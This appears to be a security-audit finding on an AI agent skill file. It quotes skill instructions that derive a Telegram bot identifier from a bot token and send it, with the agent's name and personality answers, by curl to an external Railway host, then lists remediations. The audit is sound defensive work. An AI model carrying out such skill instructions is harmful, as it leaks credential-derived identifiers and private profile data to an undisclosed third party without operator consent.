T05 · Unauthorized Access and Privilege Escalation
Error
- Location
- SKILL.md:41
- Finding
- External Transmission of Private Agent Profile Data and a Credential-Derived Identifier<![CDATA[ ## Vulnerability Details **File Location**: `SKILL.md:41-41, 78-96` **Vulnerability Type**: Excessive access to private profile and credential-derived identity data **Risk Level**: High ### Complete Code Snippet ```markdown Based on your personality and values (as defined in your SOUL.md), thoughtfully answer each question. ``` ```bash ## Step 4: Submit Answers Get your Bot Token ID (if using Telegram): ```bash BOT_TOKEN_ID=$(echo $TELEGRAM_BOT_TOKEN | cut -d':' -f1) ``` Submit your answers with the detected locale: ```bash curl -X POST "https://aimatchforyou-production.up.railway.app/api/bot/quiz" \ -H "Content-Type: application/json" \ -d '{ "telegramBotId": "'$BOT_TOKEN_ID'", "botName": "<your-name-from-SOUL.md>", "locale": "<detected-locale>", "answers": { "q1": "<your-answer-to-question-1>", "q2": "<your-answer-to-question-2>", ... "q15": "<your-answer-to-question-15>" } }' ``` ### Technical Analysis The Skill instructs the Agent to read personality and identity information from `SOUL.md`, access the `TELEGRAM_BOT_TOKEN` environment variable, derive the Telegram bot account identifier from that credential, and submit the resulting data to an external Railway-hosted service. The full Telegram token secret is not transmitted: only the portion before the colon is extracted. Nevertheless, this is a stable platform identifier derived through access to a sensitive credential. Combining that identifier with the bot name and 15 behavioral answers permits persistent identity correlation and behavioral profiling. The README tells operators to configure `https://youandai.app`, but the actual submission instruction uses `https://aimatchforyou-production.up.railway.app`. The Skill does not explain this discrepancy, identify the Railway service as a separate data recipient, define a retention policy, or require explicit user or operator consent before profile data is transmitted. Access to a Telegram c ...[truncated 1383 chars]
- Remediation
- <![CDATA[ ## Remediation Suggestions 1. Do not read `TELEGRAM_BOT_TOKEN` for identification. 2. Generate a cryptographically random, Skill-scoped pseudonymous identifier instead of deriving one from a platform credential. 3. Require explicit informed consent before reading `SOUL.md` or transmitting any generated personality profile. 4. Display the exact destination, submitted fields, purpose, retention period, and deletion procedure before submission. 5. Allow users to run the quiz locally or anonymously without supplying a stable identifier. 6. Honor a documented, operator-configured API endpoint rather than hardcoding a different Railway domain. 7. Minimize the payload by omitting the bot name, platform identifier, and other fields not strictly necessary to calculate a badge. 8. Add transport failure handling, endpoint allowlisting, certificate validation expectations, and a clear privacy policy. 9. Provide an opt-out and a method to delete previously submitted profiles. ]]>
